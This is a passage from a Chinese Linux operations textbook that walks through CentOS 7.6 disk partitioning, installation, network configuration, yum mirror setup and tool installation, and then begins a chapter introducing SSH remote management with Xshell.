同样在如图2-7所示的界面中，点击“INSTALLATION DESTINATION”之后，在界面中勾选“Local Standard Disks”一栏下面的虚拟硬盘，然后选择下面的“I will configure partitioning”，具体配置过程请参见图2-12界面中的描述和标记，配置完点击左上角的“Done”按钮进行分区配置。
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图2-12　选定磁盘设备选择配置分区界面
 
10.按企业生产标准定制磁盘分区
 
根据图2-12可知，当前电脑只有一块磁盘，设备名为sda（如果包含多块盘，则会显示sda、sdb、sdc等）。
 
进入如图2-13所示的磁盘分区界面，可以看见虚拟磁盘总大小是20GB，默认的分区是LVM，LVM的意思是逻辑卷管理，它可以对设置好的分区大小进行动态调整，前提是所有的分区格式都需要事先做成LVM格式，即分区标号为8e，企业环境的分区一般都是按需求事先规划好的，极少有后续调整的需求，且LVM的性能和标准分区及硬件RAID卡相比还是有一定的差距的，因此，如果没有特殊需求，则不会选择LVM功能分区。这里将LVM改为更优秀的标准分区模式“Standard Partition”。
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图2-13　磁盘分区界面图
 
Linux系统磁盘分区知识简介
 
在分区之前，这里需要简单介绍一下磁盘分区的相关知识，以便于大家更好地理解学习。
 
1）磁盘在使用之前一般要先分区（相当于买了房要分几居一样）。
 
2）磁盘分区有主分区、扩展分区和逻辑分区之分。一块磁盘最多可以拥有4个主分区，其中，一个主分区的位置可以用一个扩展分区来替换，在这个扩展分区内可以划分多个逻辑分区。
 
3）如果规划的分区数量超过4个，则分区组合可为3primary（p）+1extend（e）或2p+1e或1p+1e。
 
4）一块磁盘最多只能有一个扩展分区，扩展分区不能直接使用，必须在扩展分区上划分逻辑分区，然后格式化（创建文件系统），之后才能存取数据或装系统。
 
磁盘分区命名及编号方式
 
（1）以设备名命名
 
在Linux系统中，磁盘设备对应于系统中的特殊文件，这些特殊的文件放在“/dev”目录中，不同的设备对应的设备名称具体如下。
 
·系统的第一块IDE接口的硬盘称为/dev/hda。

·系统的第二块IDE接口的硬盘称为/dev/hdb。

·系统的第一块SCSI接口的硬盘称为/dev/sda。

·系统的第二块SCSI接口的硬盘称为/dev/sdb。
 
（2）使用数字编号
 
为了表示不同的分区，通常会使用数字进行编号，比如如下示例名称。
 
·系统的第一块IDE接口硬盘的第1个分区称为/dev/hda1。

·系统的第一块IDE接口硬盘的第5个分区称为/dev/hda5。

·系统的第二块SCSI接口硬盘的第1个分区称为/dev/sdb1。

·系统的第二块SCSI接口硬盘的第5个分区称为/dev/sdb5。
 
需要注意的是，在对分区进行编号时，数字1～4只能留给主分区或扩展分区使用，逻辑分区（在扩展分区基础之上）的编号只能从5开始。
 
在对Linux系统设置了分区之后，还要在分区上创建文件系统才能安装系统，这个在安装时可由系统自行完成创建。
 
Linux系统对分区的基本要求
 
1）最少要有一个根（/）分区，用来存放系统文件及程序。其大小至少在5GB以上。
 
2）要有一个swap（交换）分区，它的作用相当于Windows里的虚拟内存，swap分区的大小一般为物理内存容量的1.5倍（内存<8GB）。但当系统物理内存大于8GB时，则对swap分区配置8~16GB即可，太大无用，浪费磁盘空间。swap分区不是必须的，但是大多数情况下还是设置一下比较好，个别企业的数据库应用场景不分swap。
 
3）/boot分区，这是Linux系统的引导分区，用于存放系统引导文件，如Linux内核等。对于CentOS7而言，其要比以前的版本大一些。因此，该分区可以设置为1024MB，这个分区也不是必须的。
 
企业生产场景中Linux系统的分区方案
 
常规的分区方案如下。
 
方案1：针对网站集群架构中的某个节点服务器分区，该服务器上的数据包含多份（其他节点也有）且数据不太重要，建议的分区方案如下。
 
/boot：设置为512～1024MB。
 
swap：物理内存的1.5倍，当内存大于等于8GB时，分配8～16GB即可。
 
/：剩余硬盘空间大小（/usr、/home、/var等分区和“/”共用一个分区，这就相当于是在Windows系统中只有一个C盘一样，所有数据和系统文件都存放在一起）。
 
方案2：针对数据库及存储角色的服务器分区，该服务器的业务包含了大量重要的数据，建议分区方案如下。
 
/boot：设置为512～1024MB。
 
/：大小设置为50～200GB，只存放系统相关文件，网站等的业务数据不放在这里。
 
swap：物理内存的1.5倍，当内存大于等于8GB时，分配8～16GB即可。
 
/data：剩余硬盘空间大小，存放数据库及存储服务等重要数据。当然，data的名称也可以换成别的名字。
 
本方案其实就是将重要数据单独分区，以便于备份和管理。
 
方案3：针对大网站或门户级别企业的服务器进行分区
 
/boot：大小设置为512～1024MB。
 
swap：物理内存的1.5倍，当内存大于等于8GB时，分配8～16GB即可。
 
/：大小设置为50～200GB，只存放系统相关文件，网站等的业务数据不放在这里。
 
保留剩余的磁盘空间，不再进行分区，将来分配给不同的使用部门，由他们自己根据需求再分！
 
此种分区方案更灵活，比较适合业务线比较多且需求不确定的大企业使用。
 
对于分区，有网友还给出了如下的方案：
 
/boot、swap、/、/usr、/home、/var
 
这种分区方案的特点是典型的没有主见的被动式的分区，分了太多的额外分区（/usr、/home、/var），没有必要不说，管理起来也更麻烦了，这就类似于一个家庭就2～3口人，买了100平米的房子，却非要隔成好几个房间是一个道理的，笔者极不推荐这样的分区方案。
 
如果说是怕某个分区满了会影响系统运行，那么这样的分区想法就更错了。第一，硬盘空间是固定的，分区多了，比只分一个区肯定更容易满；第二，在企业应用里业务不可用和服务器宕机的危害几乎差不多，因此，分区少一些，然后对所有分区进行监控报警，这是目前大多数规范企业的选择。
 
本文采用常规的服务器分区方案，即分为/boot、swap、/三个分区，注意分区的先后顺序。
 
关于磁盘分区这里就介绍这么多。下面我们继续介绍系统的安装操作。
 
11.开始增加分区
 
在图2-13中，将LVM改为标准分区模式“Standard Partition”，然后点击左下角的“+”号，在弹出的小框中，输入第一个分区挂载点/boot，大小分配为1024MB，如图2-14所示，然后点击“Add mount point”完成设置。
 
/boot分区的分区结果如图2-15所示，如果确认没有问题就点击“Done”按钮完成/boot分区的设置。
 
界面选项说明
 
1）Mount Point的意思是挂载点，这是Linux下访问磁盘分区的入口，即如果要往/boot分区（/dev/sda1）里写入数据，则必须通过/boot入口来写入，这一点与Windows是不同的。
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图2-14　/boot分区设置界面
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图2-15　/boot分区显示结果图
 
2）File System的意思是文件系统类型，就像Windows的fat32/ntfs一样，磁盘分区只有在设置了文件系统类型格式化并挂载上挂载点之后，分区才能存放数据。目前存在如下一些文件系统类型。
 
·xfs：一个优秀的文件系统类型，在CentOS7中将被作为默认文件系统类型而替换ext4。

·ext2/ext3/ext4：一种适合于Linux的文件系统类型。由于ext3文件系统多出了日志记录功能，因此系统恢复起来会更快速，ext4是ext3的升级，效率更高，CentOS6默认使用的是ext4类型，而不是使用ext2/ext3。

·physical volume（LVM）：这是一种弹性调整文件系统大小的机制，即可以让文件系统变大或变小，而无须改变原有文件数据的内容，功能不错，但性能会有所下降。

·swap：就是内存交换空间。由于swap并不会使用到目录树的挂载，因此使用swap不需要指定挂载点。

·vfat：同时受Linux与Windows支持的文件系统类型。如果主机硬盘同时存在Windows与Linux两种操作系统，存在数据交换需求，那么可以使用该文件系统。
 
分完/boot分区之后，不要退出，继续点击“+”号，划分交换分区（swap），过程如图2-16所示。
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图2-16　交换分区设置图
 
swap分区配置说明
 
1）swap分区不配置Mount point挂载点，swap不需要人为访问，交给系统自动处理即可。
 
2）swap分区的大小一般为物理内存容量的1.5倍（内存<8GB）。但当系统物理内存大于8GB时，swap分区配置8~16GB即可，太大无用，还会浪费磁盘空间。
 
3）如果是学习环境，为了节省空间，swap设置得小一点也没有问题。
 
Linux系统分区时，常规的分区方案为“/”、/boot、swap，其中swap不是挂载点（“/”、/boot都是挂载点），而是分区类型，类似ext4的一个文件系统，如果在挂载点输入框处输入/swap创建swap分区那就错了。
 
分完swap分区之后，也不要退出，继续点击“+”号，再来划分根分区（/），过程如图2-17所示。
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图2-17　根分区设置图
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图2-18　总的分区结果
 
[image: ]提示：分完区后，要进行检查，方法是在如图2-18所示的界面中，用鼠标点选左边的分区即可，笔者在分区时，发现设备类型又回到了LVM设置，所以还是要全部改回标准分区模式，这好像是系统的一个BUG，因为从前面开始已经都选择标准分区模式了。
 
确定分区及设置无误后，即可点击左上角的“Done”按钮，并在如图2-19所示的界面中，点击右下角的接受改变“Accept Changes”按钮，返回完成分区设置后返回安装信息摘要界面。
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图2-19　分区设置后的提示界面
 
[image: ]提示：这里采用的是生产环境中集群节点下的节点服务器的分区方式，即系统坏掉后硬盘数据不需要保留。此分区方式也适合用于大多数生产环境的服务器，如果是数据库以及存储等有重要数据的特殊业务服务，那么一般会单独划分存放数据的分区如“/data”。
 
除了/boot、swap和“/”三个分区外，还可以加/usr、/home、/var等分区，具体情况需要根据服务器的需求来决定，一般情况下，只配置这三个分区就足够了。
 
这种分区方案最大的优点就是简单，使用方便，可批量安装部署，而且不会存在有的分区满了，有的分区还剩余了很多空间又不能被利用的情况（LVM的情况这里我们先不阐述）。
 
该分区方案的缺点是：如果系统坏了，那么重新装系统时，因为数据都在“/”（根）分区，这就导致了数据备份很麻烦；如果设置了/usr、/home、/var等分区，那么即使系统出了故障，也可以直接在“/”（根）分区装系统，这样并不会破坏其他分区的数据。当然，刚才也说了，如果是不存在备份数据的集群节点，那么采用这种分区方案就是很明智的，不用特别担心某个分区爆满的问题。
 
最终，我们配置的选项就如图2-20中方框里的部分所示，其他部分可以忽略。
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图2-20　安装摘要平台要设置的内容图
 
12.开始系统安装
 
在如图2-20所示的右下角点击“Begin Installation”进入开始安装的界面，如图2-21所示，在安装过程中，我们可以为管理员root设置安全密码，当然也可以设置普通用户（这里省略），如图2-22所示。
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图2-21　开始安装系统过程
 
[image: ]提示：如果是生产环境，那么root口令应尽量复杂。比如，设置8位以上包含数字、字母大小写甚至是特殊字符的口令。在企业运维工作中安全是至关重要的，安全要从每件小事做起。
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图2-22　设置管理员root密码
 
最后就是漫长的等待过程，视硬件的好坏一般是5～20分钟即可完成安装，安装过程及完成安装图如图2-23和图2-24所示。
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图2-23　系统安装过程图
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图2-24　系统安装完成界面图
 
[image: ]提示：安装过程中会显示总共需要的安装包的数量，以及当前已安装完的包的数量，以及总的安装进度等信息。
2.4　系统安装后的基本配置
 
2.4.1　重启系统过程中的引导过程介绍
 
系统安装结束后，取出安装使用的DVD系统盘（如果是虚拟机镜像文件，那么此时将会无法取出），按“Reboot”键重新启动系统，首先进入如图2-25所示的CentOS7开机菜单引导界面。
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图2-25　CentOS7开机菜单引导界面
 
此时，选择默认选项，然后按下键盘的“回车键”，进入系统启动过程，如图2-26所示。
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图2-26　CentOS7开机后进度条界面
 
此时如果按下键盘的“Esc键”，可以查看系统引导过程的细节，如图2-27所示，动作一定要快，否则根本无法截图，瞬间就启动完成了，这是CentOS7并行启动的改进。
 
系统引导及程序服务加载完毕后，会出现登录界面，如图2-28所示。
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图2-27　系统引导过程细节界面
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图2-28　系统登录界面
 
[image: ]提示：登录界面中的英文内容为CentOS的版本及内核的当前版本。
 
当前Linux内核版本号为：
 
[root@www~]#uname-r
 
3.10.0-957.el7.x86_64
 
这里补充介绍一下各数字和字母代表的含义：第一个数字3表示主版本号，有结构性变化时才更改；接下来的数字10表示次版本号，新增功能时才会发生变化，一般奇数表示测试版，偶数表示开发版；再接下来的0表示对次版本的修订次数或补丁包数；957代表编译的次数，每次编译可对少数程序进行优化或修改；e17可用来表示版本的特殊信息，有较大的随意性；el代表企业版Linux；pp代表测试版；fc代表fedora core；rc代表候选版本；x86_64表示64位。
 
图2-28中显示的www为主机名，login为登录提示。
 
2.4.2　登录系统
 
现在，光标定位在“login：”提示后面，然后输入root超级用户名，按Enter键，并按提示输入密码（注意密码是不显示的），过程如图2-29所示。
 
登录到系统后的界面如图2-30所示。
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图2-29　登录过程图
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图2-30　登录系统后的界面图

 
[image: ]提示：“[root@www~]#”里的#号为超级管理员root输入命令的提示符，在#号后面可以输入命令来管理系统。在企业的工作环境中，都是在这种提示符下输入命令进行管理的，而不是像Windows系统那样采用图形界面管理，这一点对于从Windows转过来的读者来说尤为重要。命令管理的初期会有些麻烦，让人不适应，等熟练以后就会发现命令管理更直观、更简洁，效率也更高，这也是Linux的强大之处。
 
2.4.3　配置网卡设置网络联网
 
在2.3.1节的（8）配置网络和主机名（NETWORK&HOSTNAME）中，已经讲解过如何配置网卡了，如果读者的配置与本书图2-11配置网络和主机名所示的配置类似，主要是中间网卡的位置能够自动获取到信息，那么就应该可以联网了。如果读者已经在前面配置过了，那么这里可以忽略掉。
 
到这里，笔者的网卡信息已经配置好了，虚拟机网卡选择的是桥接模式，笔者的电脑里路由器开启了DHCP服务，所以在图2-31时就自动获取到了IP地址，如果读者没有获取到就需要手动配置IP地址了。
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图2-31　笔者的系统联网结果图
 
1.通过nmtui（类似于setup）命令设置网卡
 
1）在系统命令行下输入nmtui命令然后回车，如图2-32所示。
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图2-32　CentOS7.6配置网卡图
 
2）通过tab键及对应的键依次选择进入如下几个窗口，为了节省篇幅，笔者将几个操作进行了合并，并进行了排序，如图2-33和图2-34所示。
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图2-33　nmtui各种界面图
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图2-34　配置网卡过程图
 
对于不知道如何为虚拟机设置IP地址的新手，可以参考读者个人电脑的IP设置。具体方法是：开始→运行→cmd→ipconfig/all，找到联网的网卡信息，这里笔者采用的无线网卡连接的是自家的路由器，前面章节讲解关于虚拟机建立的相关内容时，选择的是桥接网络模式，因此，虚拟机的配置与个人电脑除了IP不一致之外（但必须在同一个局域网里），其他网络配置一模一样。个人电脑网络信息如图2-35所示。
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图2-35　个人宿主电脑网络信息
 
[image: ]提示：该配置实质上就是修改网卡的配置文件/etc/sysconfig/network-scripts/ifcfg-eth0内容，由于没有讲解命令，所以这里就没有讲解如何通过文件进行配置。
 
最后配置完成，依次点击“OK”、“back”、“quit”退到命令行，如图2-36所示。
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图2-36　最后测试上网图
 
[image: ]提示：上述网卡的配置过程有些复杂，虽然作者力求讲得清楚明白，但是可能依然会有读者搞不定，有疑问的伙伴请加入QQ群784850820获取本书对应的视频资料，以及交流学习中遇到的疑难问题。
 
2.系统无法联网的故障排除方法
 
1）首先要确认系统的安装方式：是虚拟机还是物理服务器。
 
如果是虚拟机，那么同时还要考虑虚拟机所在的宿主机的联网方式：如果宿主机采用的是直接拨号方式上网的（一般都不会），那么虚拟网卡的模式就选NAT模式；如果宿主机采用的是路由器局域网方式上网（比较常见），那么虚拟机的网卡选择bridged和NAT两种模式都可以。如果是物理服务器的话，那么直接配置就可以了。这里的内容请参考虚拟机桥接的配置。
 
2）如果系统安装方式检查无误，仍然不能上网，那么还需要继续确认网卡实际配置是否正确。
 
如果虚拟机是NAT模式，那么需要使用DHCP自动获取IP；如果是虚拟机bridged桥接模式，则需要根据虚拟机所在的宿主机联网方式（可以查看对比）设定IP、子网掩码及网关，更方便的方法还是使用DHCP获取IP。不管是采用bridged模式还是采用NAT模式，最好都手工指定DNS。
 
[image: ]提示：采用NAT模式上网时，需要注意宿主机Windows的计算机管理、服务和应用程序对应的VMware的DHCP和NAT服务是否开启（如图2-37所示）。
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图2-37　宿主机Windows的VMware DHCP和NAT服务
 
如果是物理服务器的话，则需要检查IP、子网掩码、网关和DNS等设置是否正确，可与局域网内其他可上网的机器一一进行对比，或者向网管咨询。
 
3）上面两类问题都排除后，就需要确认网卡的配置文件了。
 
使用nmtui命令配置网卡的过程实际上就是修改了如下的网卡配置文件，因此，对于熟手，可以通过查看网卡的配置文件确认其与想要配置的是否一致。
 
如下代码展示了如何查看网卡配置文件以及网卡配置项的含义：
 


[root@www ~]# cat /etc/sysconfig/network-scripts/ifcfg-eth0 

TYPE=Ethernet          #<==上网类型，目前基本都是以太网。

PROXY_METHOD=none

BROWSER_ONLY=no

BOOTPROTO=none         #<==启动协议，获取配置方式，有none|bootp|dhcp三个选项。

DEFROUTE=yes           #<==使用默认路由。

IPV4_FAILURE_FATAL=no  #<==不启用IPV4错误检测功能。

NAME=eth0              #<==第一块网卡的逻辑设备名，第二块为eth1。

UUID=e62dd7a9-92fa-4805-afc9-441b567ad38d #<==通用唯一识别码 (Universally Unique 

                                               Identifier)，如果是VMware克隆的

                                               虚拟机则无法启动网卡，可以去除此项。

DEVICE=eth0            #<==第一块网卡的逻辑设备名，第二块为eth1。

ONBOOT=yes             #<==这个地方应为yes，才能保证下次开机启动激活网卡设备。

IPADDR=192.168.2.217   #<==这是虚拟机桥接模式，局域网Linux服务器的固定IP。

PREFIX=24              #<==子网掩码位数，这里是24位。

DNS1=192.168.2.1       #<==主DNS，这里默认会覆盖以及优先于/etc/resolv.conf的配置生效。

GATEWAY=192.168.2.1    #<==局域网上网网关地址。




 
无论虚拟机采用的是NAT模式还是桥接模式，或者是物理服务器，都要修改网卡启动项配置，将“ONBOOT=no”改为“ONBOOT=yes”，使得下一次开机时网卡可以自启动，如果前面执行nmtui命令修改时已经激活了，那么这里可以忽略配置。命令如下：
 


[root@www ~]# sed -i 's#ONBOOT=no#ONBOOT=yes#g' /etc/sysconfig/network-scripts/ifcfg-eth0   

[root@www ~]# grep ONBOOT /etc/sysconfig/network-scripts/ifcfg-eth0   

ONBOOT=yes




 
重启网卡的命令如下：
 


[root@www ~]# systemctl restart network




 
查看IP设置的命令如下：
 


[root@www ~]# ip add

...省略若干...

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

    link/ether 00:0c:29:22:6b:45 brd ff:ff:ff:ff:ff:ff

    inet 192.168.2.217/24 brd 192.168.2.255 scope global noprefixroute eth0

...省略若干...

提示：暂时无法使用ifconfig查询，因为默认还没有安装这个命令。




 
查看默认网关设置的命令如下：
 


[root@www ~]# ip route

default via 192.168.2.1 dev eth0 proto static metric 100 

192.168.2.0/24 dev eth0 proto kernel scope link src 192.168.2.217 metric 100

提示：暂时无法使用route和netstat查询，因为默认还没有安装这两个命令。




 
查看DNS设置的命令如下：
 


[root@www ~]# cat /etc/resolv.conf

# Generated by NetworkManager

nameserver 192.168.2.1




 
如果以上配置都正确，那么一般来说上网就没有问题了。
 
2.4.4　通过VMware为新系统创建快照
 
创建快照的目的是将来能将系统随时还原到做快照时候的系统状态，对于学习的读者来说，这个快照的功能很有用（图2-38）。
 
关闭系统后再创建快照，这样会节省磁盘空间。做好快照可以快速还原因误操作损坏的系统，或者在未来重新建立新的学习环境（图2-39）。
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图2-38　拍摄快照1
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图2-39　拍摄快照2
 
[image: ]技巧：虚拟机关机或挂起的时候创建快照，瞬间完成。
 
2.4.5　更新系统打补丁到最新
 
与Windows打补丁类似，Linux也可以定期地更新系统软件。
 
Linux下安装软件的优秀工具称为yum，它是CentOS Linux下最好用的包管理器和安装软件包的工具，用起来很方便。Linux的二进制软件包一般是rpm包，类似于Windows下的exe程序。
 
借助yum工具可以很方便地安装rpm软件包，默认获取rpm包的软件配置是从国外CentOS官方源及其镜像地址上下载的。因此，通过yum工具安装软件的速度会比较慢，因此需要将默认获取rpm包的地址改成国内的yum源地址。
 
CentOS安装完毕后，首先应该修改更新源，并升级到最新的系统。修改更新yum源的命令如下：
 


curl -s -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

curl -s -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo

#如果执行字符太多的命令不方便，那么可以等学完第3章后，再回来配置。




 
[image: ]提示：笔者在写书的过程中，刚开始选择了aliyun上的yum源，但遇到了更新错误，后来改成网易的就好了。大家遇到问题时，不妨换下yum源。链接为阿里云的yum源配置请参考：http://mirrors.aliyun.com/help/centos。
 
然后，使用如下命令将系统更新到最新状态：
 


[root@www ~]# yum update -y  #<==本书写作已进行更新，读者也更新下。




 
[image: ]提示：也可以使用“yum upgrade-y”命令，此时大约会有126MB大小的更新包，这个更新是可选操作。
 
在首次安装系统时一般可以执行yum update-y，如果是在生产线已经应用的业务服务器系统中，那就不要轻易更新了，以免导致业务服务异常。若遇到了特殊的漏洞（例如，2014年4月发生的openssl心脏出血及2014年10月发生的bash漏洞，可以单独对指定的问题软件进行升级处理。yum upgrade与yum update的作用和区别很小，想要了解的读者可以执行man yum进行查看。
 
2.4.6　额外安装一些有用的软件包
 
按照上文选择最小化安装时，一些额外的、有用的工具包可能会没有安装进去，特别是CentOS7将一些好用的命令都遗弃了，我们可以将这些工具提前安装好，以后可能会用得着，命令如下。
 
CentOS6和CentOS7都要安装的企业运维常用基础工具包：
 


yum install tree nmap dos2unix lrzsz nc lsof wget tcpdump htop iftop iotop sysstat nethogs -y




 
以上工具包的作用及主要包含的命令具体见表2-3。
 
表2-3　笔者常用的系统工具包
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CentOS7需要安装的企业运维常用基础工具包：
 


yum install psmisc net-tools bash-completion vim-enhanced -y


 
以上工具包是CentOS7默认没有安装的一些重要的工具包，具体说明见表2-4。
 
表2-4　CentOS7默认没有安装的工具包
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[image: ]说明：请读者也要执行安装上面的软件包，否则在后续的学习中可能会出现无法实现本书内容结果的情况。另外，查找killall命令对应的软件包的方法为rpm-qf`which killall`，查找net-tools包对应于哪些命令的方法为rpm-ql net-tools，其他命令和软件包与此同理。
 
如果在系统安装过程中落下了某些需要的软件包组，那么可以在这里执行如下命令进行安装。
 


[root@www ~]# yum groups mark convert 

[root@www ~]# yum grouplist  #<==查看所有包组名称，包括已安装的和未安装的。

...省略若干...

Available Environment Groups:

    Minimal Install

    Compute Node

    ...省略若干...

    Basic Web Server

    Virtualization Host

    ...省略若干...

Installed Groups:

    Compatibility Libraries

    Development Tools

    Milkymist

    Security Tools

    System Administration Tools

Available Groups:

    Cinnamon

    Console Internet Tools

...省略若干...

    Xfce

Done




 
[image: ]提示：如果发现系统安装过程中落下了某些组包，那么可以执行下面的命令来安装。[root@www~]#yum groupinstall"Cinnamon"-y#<==指定包组名安装，要带双引号，装过的不能重复装。
 
到此为止，整个CentOS7.6的安装就告一段落了，大家在用虚拟机学习时可以保留这个模板机的配置，然后每次克隆新的虚拟机（推荐使用链接克隆以节省空间）用来学习，当然，也可以用快照的方式来设定及回滚操作过的设置。
2.5　本章相关问题
 
1）32位和64位系统的区别是什么？
 
2）请描述Linux分区的知识（包括设备名、主分区、扩展分区、文件系统类型等）。
 
3）什么是挂载点，挂载点的作用是什么？
 
4）企业场景如何针对不同的业务服务器规划分区方案？
 
5）企业场景下Linux系统安装如何尽可能地最小化选包？
 
6）企业场景下若线上运行的系统缺少部分包组或命令，应如何补救？
 
7）如何将网卡设置为传统的eth0、eth1形式？
第3章　远程连接管理Linux实践
 
3.1　远程连接Linux系统管理

 
3.1.1　为什么要远程连接Linux系统
 
在很多机构的培训教学中，教员通常会直接在虚拟机界面或者虚拟机里的图形界面讲解知识，这也就导致了非常多的学生只熟悉如何在虚拟机界面上操作，对实际的工作场景却并不熟悉。事实上，在实际的工作场景中，虚拟机界面或物理服务器本地的窗口都是很少能够接触到的，因为服务器安装完系统之后，都要拉到IDC机房托管，如果是购买了云主机，那就更接触不到服务器本地显示器了，此时只能通过远程连接的方式管理Linux系统。因此，在装好Linux系统之后，学习Linux运维的第一步应该是配置好客户端软件远程连接Linux系统进行管理。
 
另外，需要指出的是，学习Linux的最佳方式就是利用虚拟机来进行学习，而不是安装双系统，或者直接抛弃Windows系统改装Linux系统。通过模拟生产环境来进行学习是非常有必要的，而虚拟机环境正是上面几种方式中最接近企业真实运维工作环境的，当然，如果能有一个真实的物理机放在局域网或机房里那就更好了。
 
3.1.2　连接前的小知识
 
1.IP地址（服务器的位置）
 
互联网上的计算机都会有一个唯一的32位地址，即IP地址，这个IP地址就相当于服务器所在的位置。
 
我们找人时，要知道这个人的具体地址，同理，如果要访问连接服务器，那就必须通过服务器的IP地址来实现，服务器的IP地址就相当于是服务器的具体地址。
 
局域网（只在我们目前的环境里生效）里也有预留的IP地址，通常以192.168.0.0、172.16.开头，每个局域网内的IP地址也是唯一的。
 
[image: ]说明
 
外网IP地址：就是在全世界哪里都可以访问的IP地址。
 
内网IP地址：就是只能在一个范围内访问的IP地址，例如，一个企业、一个教室，但也不是绝对的，这里可以就这样先简单地理解一下，后文会深入讲解网络知识。
 
2.端口的简单概念
 
老男孩的虚拟机IP地址是192.168.2.217（默认自动获取，一般以192.168.开头），这里的192.168.2.217代表一台主机（澡堂子），但是主机（澡堂子）上可能会有很多功能和服务，一台主机上各种不同的服务功能都是通过端口来表示的，不同的客户使用不同的服务，形象的示例说明请参见表3-1。
 
表3-1　端口与服务形象对应表格
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例如，我们用于远程连接的服务端口号默认就是22，服务名称为SSH服务。
 
3.协议的简单概念
 
不同的服务提供了不同的端口，对应于不同的功能，且其通信方式也可能不同，这种客户端和服务器之间交流的通信方式，可以理解为协议。
 
一台主机上不同的服务功能都是通过端口来进行区分的。若是不同的服务端口，那么客户端和服务器之间通信时，可能会使用不同的协议。
 
既然我们可以通过IP地址找到服务器（机器），那么就可以通过连接不同的端口来获得不同的服务，以及使用各种不同的协议。
 
连接基本名词及对应功能如表3-2所示。
 
表3-2　连接基本名词及对应功能
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3.1.3　远程连接Linux的原理
 
1.SSH远程连接介绍
 
当前，在几乎所有的互联网企业环境中，最常用的提供Linux远程连接服务的工具就是SSH软件。SSH分为SSH客户端和SSH服务端两部分，其中，SSH服务端包含的软件程序主要有openssh和openssl。在Linux系统中，可以按如下方法查询SSH服务端工具的安装情况：
 


[root@www ~]# rpm -qa openssh openssl

openssl-1.0.2k-16.el7.x86_64

openssh-7.4p1-16.el7.x86_64




 
[image: ]提示：openssh是提供SSH服务的程序，openssl是为SSH提供连接加密的程序。
 
2.SSH服务端介绍
 
启动Linux系统时，默认情况下，SSH服务端程序会随系统一起启动，SSH服务是一个守护进程（daemon），它在系统后台永久运行并时刻响应来自所有SSH客户端的连接请求。SSH服务端的进程名为sshd，负责实时监听远程SSH客户端的连接请求并进行处理，这些请求一般包括公共密钥认证、密钥交换、对称密钥加密和非安全连接等。SSH服务是Linux系统优化时需要保留开机自启动的服务之一。
 
3.SSH客户端介绍
 
SSH客户端最常用的工具就是Windows平台上运行的SecureCRT了，该工具的安装很简单，按照提示一步步操作即可安装完毕，然后打开并注册软件，运行就可以使用了。远程连接Linux时，除了SecureCRT客户端软件之外，还有Xshell、putty及Linux下的SSH等客户端软件。
 
4.SSH协议介绍
 
SSH服务端和SSH客户端之间的交流都是通过SSH协议来实现的。SSH协议是Secure Shell Protocol的简写，由IETF网络工作小组（Network Working Group）制定。在进行数据传输之前，SSH先通过加密技术对联机数据包进行加密处理，然后再进行数据传输，这样就可以确保传递的数据安全。
 
SSH是专为远程登录会话和其他网络服务提供的安全性协议。利用SSH协议可以有效地防止远程管理过程中的信息泄露，在当前的生产环境中，绝大多数企业普遍采用SSH协议服务来代替传统的不安全的远程联机服务软件，如telnet（23端口，非加密的）等。
 
SSH协议有两个不兼容的版本，分别是SSH 1.x和SSH 2.x。
 
openssh同时支持SSH 1.x和SSH 2.x。用SSH 2.x的客户端程序不能连接到SSH 1.x的服务程序上，SSH2.x比SSH1.x更安全，默认情况下服务端通过SSH 2.x协议提供服务。
 
5.SSH客户端和SSH服务端远程连接原理示意图
 
图3-1为SSH客户端和SSH服务端远程连接的形象示意图，表3-3中列举了SSH服务远程连接需要设定的五个要素。
 
 
 [image: ] 


图3-1　SSH通信示意图
 
表3-3　SSH服务远程连接需要设定的五个要素
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3.1.4　远程连接Linux的客户端工具介绍
 
在介绍远程连接Linux的工具之前，我们先来回忆一下Windows下曾经用过的远程连接服务器的工具，其中包括远程桌面mstsc、vnc等，在Windows服务器端，这些工具分别对应于不同的服务进程以响应客户端的连接请求。如果读者熟悉这些工具则可以发现，这些工具远程连接后都是用图形进行管理的，而Linux系统的远程连接工具大多数也是用命令行来管理的，例如，SecureCRT。
 
远程连接Linux服务器的常见工具有SecureCRT、Xshell、putty等，其中最常用的是SecureCRT和Xshell。这些客户端工具在Linux服务器端对应着相同的SSH服务进程sshd，即远程连接使用的都是SSH协议，当然它们也支持其他的协议如telnet。
 
事实上，远程连接Linux服务器也有图形显示工具，例如，vnc工具。不过，通常只在特殊的工作场景才会因临时需要用到图形远程管理，例如，安装Oracle的场景，绝大多数企业场景都无需桌面管理，而且安装Oracle也不是必须要用图形管理，只要能将图形导出来显示就行了，实现工具有xmanger、x-win32等。
 
3.1.5　如何选择远程连接Linux的工具
 
互联网企业里通常都习惯使用命令行管理Linux，所以选择命令行管理工具是第一位的。
 
若Linux服务器端守护程序选择了SSH服务，则整个连接过程都会加密，因此会比较安全。连接Linux服务器的客户端如果是Windows系统，则可以选择SecureCRT或Xshell工具，推荐使用SecureCRT，理由是该工具历史悠久、简单、用的人多。至于Linux系统，就用openssh自带的SSH客户端工具即可。如果需要用图形进行远程管理，则建议选择vnc。相关工具列表见表3-4。
 
表3-4　SSH服务端及客户端工具列表
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3.2　SSH客户端常用工具Xshell
 
3.2.1　Xshell工具介绍
 
Xshell是一款支持SSH（SSH1和SSH2）协议的终端仿真软件，常被用来运行于Windows下以用来远程登录Unix或Linux服务器主机。
 
Xshell软件功能强大，不仅支持SSH协议，同时还支持Telnet、RLogin、Serial和TAPI等协议，以及非常多的功能，这里就不一一介绍了，常用功能可参看下文实践部分。
 
与Xshell功能类似的SSH软件还有SecureCRT、putty等，Xshell、SecureCRT、putty等都仅仅是客户端软件，一般应用于Windows客户端的电脑上，因此，到底选择哪款客户端SSH工具可根据实际情况决定，对于学习来说都是可以的，这里笔者选择比较大众化的Xshell为例为读者阐述Xshell的常用优秀功能。
 
3.2.2　Xshell工具安装说明
 
由于是在Windows下进行安装，因此操作步骤很简单，按提示依次点击“下一步”即可完成，这里就不一一叙述了。
 
3.2.3　配置Xshell连接Linux主机
 
在笔记本或客户端电脑上正确安装Xshell SSH连接工具之后，通过开始程序或快捷菜单找到Xshell并打开，会看到如图3-2所示的界面。
 
在如图3-2所示的界面中点击工具栏中的第一个“+”号样子的快捷按钮（即“新建连接”按钮），此时会进入如图3-3所示的窗口。
 
